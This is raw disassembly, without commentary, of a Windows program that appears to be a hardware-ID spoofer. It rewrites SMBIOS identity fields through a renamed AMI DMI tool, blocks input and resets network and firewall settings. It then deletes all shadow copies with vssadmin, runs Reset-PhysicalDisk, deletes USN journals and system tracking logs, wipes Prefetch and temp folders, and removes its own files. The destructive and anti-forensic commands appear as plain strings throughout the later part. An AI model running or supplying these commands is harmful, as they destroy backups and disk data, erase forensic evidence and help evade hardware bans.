call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
mov r14, qword [rbp - 0x38]
mov rax, r12
sub rax, r14
cmp rax, 0x22
jb 0x14005edef
lea r15, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova r15, qword [rbp - 0x48]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r14 + 0x22]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x14005de33
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005ddf3
mov rbx, r12
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400afc8c
test rax, rax
je 0x14005dfb1
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005de2e
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005de1c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005edd1
jmp 0x14005ddd4
test rcx, rcx
je 0x14005de2b
call fcn.1400afc8c
mov rdi, rax
jmp 0x14005de2e
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__SK]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x1400fc778]
movups xmmword [rdi + 0x10], xmm1
movzx eax, word [0x1400fc788]
mov word [rdi + 0x20], ax
lea rcx, [rdi + 0x22]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14005dec1
lea rax, [rcx + 5]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x30]
jmp 0x14005dee2
mov qword [rsp + 0x20], 5
lea r9, str.__nul
xor r8d, r8d
lea edx, [r8 + 5]
lea rcx, [rsp + 0x30]
call fcn.140059d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14005df6a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005df65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005df65
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14005dfbd
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005dfb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005dfb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
mov r14, qword [rbp - 0x58]
mov rax, r12
sub rax, r14
cmp rax, 0x22
jb 0x14005edf5
lea r15, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova r15, qword [rbp - 0x68]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r14 + 0x22]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x14005e07f
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005e03f
mov rbx, r12
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400afc8c
test rax, rax
je 0x14005e1fd
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005e07a
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005e068
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005edd7
jmp 0x14005e020
test rcx, rcx
je 0x14005e077
call fcn.1400afc8c
mov rdi, rax
jmp 0x14005e07a
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__SF]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x1400fc7a0]
movups xmmword [rdi + 0x10], xmm1
movzx eax, word [0x1400fc7b0]
mov word [rdi + 0x20], ax
lea rcx, [rdi + 0x22]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14005e10d
lea rax, [rcx + 5]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x30]
jmp 0x14005e12e
mov qword [rsp + 0x20], 5
lea r9, str.__nul
xor r8d, r8d
lea edx, [r8 + 5]
lea rcx, [rsp + 0x30]
call fcn.140059d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14005e1b6
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e1b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e1b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14005e209
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e204
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e204
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
mov r14, qword [rbp - 0x78]
mov rax, r12
sub rax, r14
cmp rax, 0x22
jb 0x14005edb9
lea r15, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova r15, qword [rsp + 0x78]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rsi, [r14 + 0x22]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x50]
cmp rsi, rbx
jbe 0x14005e280
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005e262
mov rbx, r12
jmp 0x14005e26f
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.140008120
mov rdi, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__BT]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x1400fc7c8]
movups xmmword [rdi + 0x10], xmm1
movzx eax, word [0x1400fc7d8]
mov word [rdi + 0x20], ax
lea rcx, [rdi + 0x22]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov r8d, 5
lea rdx, str.__nul
lea rcx, [rsp + 0x50]
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005e336
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005e363
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0xf8]
lea rdx, str.C:Windows_resetadapyters.EXE__BLC
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005e3f3
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005e420
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0xd8]
lea rdx, str.C:Windows_resetadapyters.EXE__PSN
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005e4b0
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005e4dd
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0xb8]
lea rdx, str.C:Windows_resetadapyters.EXE__PAT
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005e56d
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005e59a
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0x98]
lea rdx, str.C:Windows_resetadapyters.EXE__PPN
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005e62a
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005e657
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0x78]
lea rdx, str.C:Windows_resetadapyters.EXE__CSK
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005e6e4
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005e711
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0x58]
lea rdx, str.C:Windows_resetadapyters.EXE__CS
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005e79e
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005e7cb
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0x38]
lea rdx, str.C:Windows_resetadapyters.EXE__BS
lea rcx, [rsp + 0x30]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x50]
call fcn.140005d60
nop
lea rcx, [rsp + 0x30]
call fcn.140005d60
lea rcx, str.C:Windows_resetadapyters.EXE__SV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__SP__MS_7D22_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__SM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__BM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__BP__H510M_A_PRO__MS_7D22__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__BV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CA__Default_string_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CO__0000_0000h_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CT__03h_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__IV__3.80_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__IVN__American_Megatrends_International__LLC._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, str.C:WindowsDisk1.exe_C:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsDisk1.exe_D:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsDisk1.exe_E:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsDisk1.exe_F:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsMac.bat__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_winmgmt__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_start_winmgmt__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_winmgmt__y__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_start_winmgmt__y__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ipconfig__flushdns__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_ip_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_reset_all__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_ipv4_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_ipv6_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_winsock_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_winsock_reset_catalog__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell_vssadmin_delete_shadows__all__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell_Reset_PhysicalDisk___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.fsutil_usn_deletejournal__n_C:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.fsutil_usn_deletejournal__n_D:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.fsutil_usn_deletejournal__n_E:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.fsutil_usn_deletejournal__n_F:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__f__q_C:WindowsSystem32_restoreMachineGuid.txt__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__f__q_C:System_Volume_InformationIndexerVolumeGuid__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__f__q_C:System_Volume_Information_tracking.log__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__f__q_C:WindowsINF_setupapi.dev.log__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__f__q_C:WindowsINF_setupapi.setup.log__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_C:Windows_temp__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_C:Users_username_AppDataLocalTemp__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_C:WindowsPrefetch__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:Windows_resetadapyters.EXE__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:Windows_amifldrv64.sys__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsDisk1.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsMac.bat__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400f9b18]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x118]
call fcn.140005d60
nop
lea rcx, [rbp + 0x138]
call fcn.140005d60
nop
lea rcx, [rbp + 0x158]
call fcn.140005d60
nop
lea rcx, [rbp + 0x178]
call fcn.140005d60
nop
lea rcx, [rbp + 0x198]
call fcn.140005d60
nop
lea rcx, [rbp + 0x1b8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x1d8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x1f8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x218]
call fcn.140005d60
nop
lea rcx, [rbp + 0x238]
call fcn.140005d60
nop
lea rcx, [rbp + 0x258]
call fcn.140005d60
nop
lea rcx, [rbp + 0x278]
call fcn.140005d60
nop
lea rcx, [rbp + 0x298]
call fcn.140005d60
nop
lea rcx, [rbp + 0x2b8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x2d8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x2f8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x318]
call fcn.140005d60
nop
lea rcx, [rbp + 0x338]
call fcn.140005d60
nop
lea rcx, [rbp + 0x358]
call fcn.140005d60
nop
lea rcx, [rbp + 0x378]
call fcn.140005d60
nop
lea rcx, [rbp + 0x398]
call fcn.140005d60
nop
lea rcx, [rbp + 0x3b8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x3d8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x3f8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x418]
call fcn.140005d60
nop
lea rcx, [rbp + 0x438]
call fcn.140005d60
nop
lea rcx, [rbp + 0x458]
call fcn.140005d60
nop
lea rcx, [rbp + 0x478]
call fcn.140005d60
nop
lea rcx, [rbp + 0x498]
call fcn.140005d60
nop
lea rcx, [rbp + 0x4b8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x4d8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x4f8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x518]
call fcn.140005d60
nop
lea rcx, [rbp + 0x538]
call fcn.140005d60
nop
lea rcx, [rbp + 0x558]
call fcn.140005d60
nop
lea rcx, [rbp + 0x578]
call fcn.140005d60
nop
lea rcx, [rbp + 0x598]
call fcn.140005d60
nop
lea rcx, [rbp + 0x5b8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x5d8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x5f8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x618]
call fcn.140005d60
nop
lea rcx, [rbp + 0x638]
call fcn.140005d60
nop
lea rcx, [rbp + 0x38]
call fcn.140005d60
nop
lea rcx, [rbp + 0x58]
call fcn.140005d60
nop
lea rcx, [rbp + 0x78]
call fcn.140005d60
nop
lea rcx, [rbp + 0x98]
call fcn.140005d60
nop
lea rcx, [rbp + 0xb8]
call fcn.140005d60
nop
lea rcx, [rbp + 0xd8]
call fcn.140005d60
nop
lea rcx, [rbp + 0xf8]
call fcn.140005d60
nop
lea rcx, [rsp + 0x78]
call fcn.140005d60
nop
lea rcx, [rbp - 0x68]
call fcn.140005d60
nop
lea rcx, [rbp - 0x48]
call fcn.140005d60
nop
lea rcx, [rbp - 0x28]
call fcn.140005d60
nop
lea rcx, [rbp - 8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x18]
call fcn.140005d60
mov rcx, qword [rbp + 0x658]
xor rcx, rsp
call fcn.1400afa60
lea r11, [rsp + 0x760]
